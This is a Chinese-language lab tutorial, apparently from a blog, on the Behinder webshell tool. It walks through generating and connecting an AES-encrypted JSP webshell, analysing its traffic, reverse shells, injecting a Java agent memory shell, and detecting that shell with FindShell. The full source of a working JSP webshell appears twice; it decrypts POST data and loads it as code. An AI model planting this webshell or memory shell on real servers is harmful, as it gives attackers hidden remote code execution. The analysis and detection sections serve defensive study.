天天看點

32_behinder(冰蠍)

behinder(冰蠍)

一、冰蠍的連接配接

先打開冰蠍,注意jdk版本,可能會影響

32_behinder(冰蠍)

打開後界面如下

32_behinder(冰蠍)

點選傳輸協定,生成shell.jsp

32_behinder(冰蠍)

協定名稱選擇aes,裡面有個key,需要用密碼的md5值32位加密的前16位

我這裡設定密碼bihuo.cn,它的md5值32位加密的前16位為9da63beefb94c7d4

32_behinder(冰蠍)

下面的加密解密可以測試一下,看是否正常

然後點選下方儲存

32_behinder(冰蠍)

儲存之後,點選上方的生成服務端,會自動彈出shell.jsp存放的檔案夾

裡面就是生成的三種類型的記憶體馬

32_behinder(冰蠍)

複制shell.jsp裡面的内容,粘貼到IDEA裡面

32_behinder(冰蠍)

然後啟動運作tomcat伺服器,通路shell.jsp

32_behinder(冰蠍)

之後就是冰蠍連接配接擷取webshell

冰蠍連接配接方式有兩種,一種是密碼連接配接

32_behinder(冰蠍)

另一種是自定義,使用default 配置下的使用者名和密碼

32_behinder(冰蠍)
32_behinder(冰蠍)

連接配接成功就是如下圖的一些功能點界面

32_behinder(冰蠍)

二、冰蠍的流量分析

用burp抓取流量包分析冰蠍的流量

32_behinder(冰蠍)
32_behinder(冰蠍)
32_behinder(冰蠍)
32_behinder(冰蠍)
32_behinder(冰蠍)

修改shell.jsp

讓解密後的結果輸出到txt檔案中

<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
  private byte[] Decrypt(byte[] data) throws Exception {
    String k = "9da63beefb94c7d4";
    javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
    c.init(2, new javax.crypto.spec.SecretKeySpec(k.getBytes(), "AES"));
    byte[] decodebs;
    Class baseCls;
    try {
      baseCls = Class.forName("java.util.Base64");
      Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
      decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
    } catch (Throwable e) {
      baseCls = Class.forName("sun.misc.BASE64Decoder");
      Object Decoder = baseCls.newInstance();
      decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

    }
    return c.doFinal(decodebs);

  }
%>
<%!
  class U extends ClassLoader {
    U(ClassLoader c) {
      super(c);
    }

    public Class g(byte[] b) {
      return
              super.defineClass(b, 0, b.length);
    }
  }
%><%
  if (request.getMethod().equals("POST")) {
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    byte[] buf = new byte[512];
    int length = request.getInputStream().read(buf);
    while (length > 0) {
      byte[] data = Arrays.copyOfRange(buf, 0, length);
      bos.write(data);
      length = request.getInputStream().read(buf);
    }
            /* 取消如下代碼的注釋,可避免response.getOutputstream報錯資訊,增加某些深度定制的Java web系統的相容 ??
            out.clear();
            out=pageContext.pushBody();
            */
    out.clear();
    out = pageContext.pushBody();
    byte [] decryptBytes = Decrypt(bos.toByteArray());
    File file = new File("C:/decode1.txt");
    FileOutputStream fileWriter = new FileOutputStream(file);
    fileWriter.write  (decryptBytes);
    fileWriter.close();
    new U(this.getClass().getClassLoader()).g(decryptBytes).newInstance().equals(pageContext);
  }
%>
           
32_behinder(冰蠍)
32_behinder(冰蠍)

開啟調試,然後使用burp發包

就會看到,本地出現decode1.txt檔案和decode2.txt檔案

字尾改成.clss

然後使用jd-gui工具反編譯成java檔案

jd-gui工具打不開檔案的話,随便找一個其它檔案打開,也能檢視反編譯好的檔案

32_behinder(冰蠍)

然後就是複制到IDEA裡面

32_behinder(冰蠍)
32_behinder(冰蠍)

接下裡的調試,就是新增一個main函數

IDEA裡面輸入psvm,可以快捷增加main函數

32_behinder(冰蠍)
32_behinder(冰蠍)

右鍵調試main函數

然後進入equals方法裡面

public static void main(String[] args) {
    Qiaftpx qiaftpx = new Qiaftpx();
    qiaftpx.equals(1);
}
           
32_behinder(冰蠍)
public static void main(String[] args) {
    Fmulvhnsdr fmulvhnsdr = new Fmulvhnsdr();
    fmulvhnsdr.equals(1);
}
           
32_behinder(冰蠍)

我這裡可能哪裡有問題,沒有徹底調試完成,後續成功弄出來再編輯這裡吧

最後結果,behinder 握手包 2個

(1) 隻傳回success狀态碼

(2) 傳回 相關的基礎資訊 伺服器版本 作業系統版本 os版本 phpinfo 系統環境變量等

三、冰蠍的基本功能

連接配接上冰蠍之後,自己點點看就行

32_behinder(冰蠍)
32_behinder(冰蠍)
32_behinder(冰蠍)

四、冰蠍反彈shell

冰蠍支援三種形式的反彈shell,meterpreter、shell、cobalt strike

下面我隻示範兩個meterpreter、shell,cobalt strike還得部署一會,先pass

32_behinder(冰蠍)
32_behinder(冰蠍)
32_behinder(冰蠍)
32_behinder(冰蠍)
32_behinder(冰蠍)

五、java agent記憶體馬

1. 了解java agent

參考文章了解java agent

https://blog.csdn.net/qq_45927266/article/details/124540920

32_behinder(冰蠍)

2. 使用java agent

冰蠍工具自帶注入java agent記憶體馬功能,右鍵注入記憶體馬

32_behinder(冰蠍)

我們修改代理,抓包分析下

32_behinder(冰蠍)
32_behinder(冰蠍)

點選注入記憶體馬之後,注入類型選擇agent,路徑點選預設的,然後修改檔案名

我這裡寫的bihuo15.jsp

32_behinder(冰蠍)

我們可以看到有大量的請求包,我這裡甚至的都沒有放完

它這裡實際上是通過截斷成大量的請求包,最後拼接成記憶體馬的代碼

可能是防止被殺

32_behinder(冰蠍)

直接放完包之後,冰蠍上面多了一個通過記憶體馬的連接配接

後面的狀态是方框的話,就代表是記憶體馬

左下角顯示注入完成

32_behinder(冰蠍)

通過記憶體馬點開連接配接之後,發現功能一樣能使用

32_behinder(冰蠍)

并且未在主機,也就是伺服器上發現bihuo15.jsp檔案,沒有發現記憶體馬代碼

看來是注入到了記憶體中

32_behinder(冰蠍)

3. 分析java agent

我們在shell.jsp的基礎上加入一些代碼

讓它AES解密之後,将内容寫入到agent.txt檔案中

32_behinder(冰蠍)
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
  private byte[] Decrypt(byte[] data) throws Exception {
    String k = "9da63beefb94c7d4";
    javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
    c.init(2, new javax.crypto.spec.SecretKeySpec(k.getBytes(), "AES"));
    byte[] decodebs;
    Class baseCls;
    try {
      baseCls = Class.forName("java.util.Base64");
      Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
      decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
    } catch (Throwable e) {
      baseCls = Class.forName("sun.misc.BASE64Decoder");
      Object Decoder = baseCls.newInstance();
      decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

    }
    return c.doFinal(decodebs);

  }
%>
<%!
  class U extends ClassLoader {
    U(ClassLoader c) {
      super(c);
    }

    public Class g(byte[] b) {
      return
              super.defineClass(b, 0, b.length);
    }
  }
%><%
  if (request.getMethod().equals("POST")) {
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    byte[] buf = new byte[512];
    int length = request.getInputStream().read(buf);
    while (length > 0) {
      byte[] data = Arrays.copyOfRange(buf, 0, length);
      bos.write(data);
      length = request.getInputStream().read(buf);
    }
            /* 取消如下代碼的注釋,可避免response.getOutputstream報錯資訊,增加某些深度定制的Java web系統的相容 ??
            out.clear();
            out=pageContext.pushBody();
            */
    out.clear();
    out = pageContext.pushBody();
    byte [] decryptBytes = Decrypt(bos.toByteArray());
    File file = new File("C:/agent.txt");
    FileOutputStream fileWriter = new FileOutputStream(file);
    fileWriter.write  (decryptBytes);
    fileWriter.close();
    new U(this.getClass().getClassLoader()).g(decryptBytes).newInstance().equals(pageContext);
  }
%>
           

然後開啟調試,随便放一個流量包,就會發現多出agent.txt檔案

32_behinder(冰蠍)

将字尾改成.class

32_behinder(冰蠍)

然後通過jd-gui反編譯工具,将class檔案反編譯為java檔案

有時候這個jd-gui工具無法打開檔案,我們可以放一些其它的檔案,例如我随便找的一個ArcTest.class檔案,隻要打開這個,agent.class也可以檢視

32_behinder(冰蠍)
32_behinder(冰蠍)

4. 記憶體馬清除(findshell工具)

上面我們說到,記憶體馬bihuo15.jsp檔案并沒有在伺服器找到

那麼我們需要借助記憶體馬清除的工具去檢測記憶體馬

https://github.com/geekmc/FindShell

32_behinder(冰蠍)

打開工具

32_behinder(冰蠍)

使用方法github也寫着

32_behinder(冰蠍)
32_behinder(冰蠍)

先通過jps指令找到目标JVM的pid

然後使用這個工具,加上–pid 目标JVM的PID

還要加上–debug參數,才可以生成檔案分析

可以看到有很多PID,如果我們不知道哪個是目标JVM的pid,那就一個一個試

看哪個生成了檔案

或者停止伺服器,再使用jps指令,對比發現少了哪個PID,快速判斷目标JVM的PID

32_behinder(冰蠍)

這裡我都嘗試過,這個Bootstarp就是目标JVM

成功生成out目錄

32_behinder(冰蠍)

使用IDEA打開out目錄,裡面就是java agent記憶體馬

全部分析太麻煩

這裡隻需要找到兩個東西

一個是java agent記憶體馬綁定的通路路徑

32_behinder(冰蠍)

另一個是AES解密的key

32_behinder(冰蠍)

5. 冰蠍 java agent防檢測

注入java agent記憶體馬的時候

下面有個防檢測功能

我們重新注入一下,并且将out目錄删除掉

32_behinder(冰蠍)
32_behinder(冰蠍)

然後我們再次使用findshell工具檢測java agent記憶體馬,發現還是生成了out目錄

防檢測功能未生效,這裡可能是軟體功能沒制作好,或者可能是隻能防止部分軟體檢測,而恰好findshell不能防

了解一下有這個功能點就行

32_behinder(冰蠍)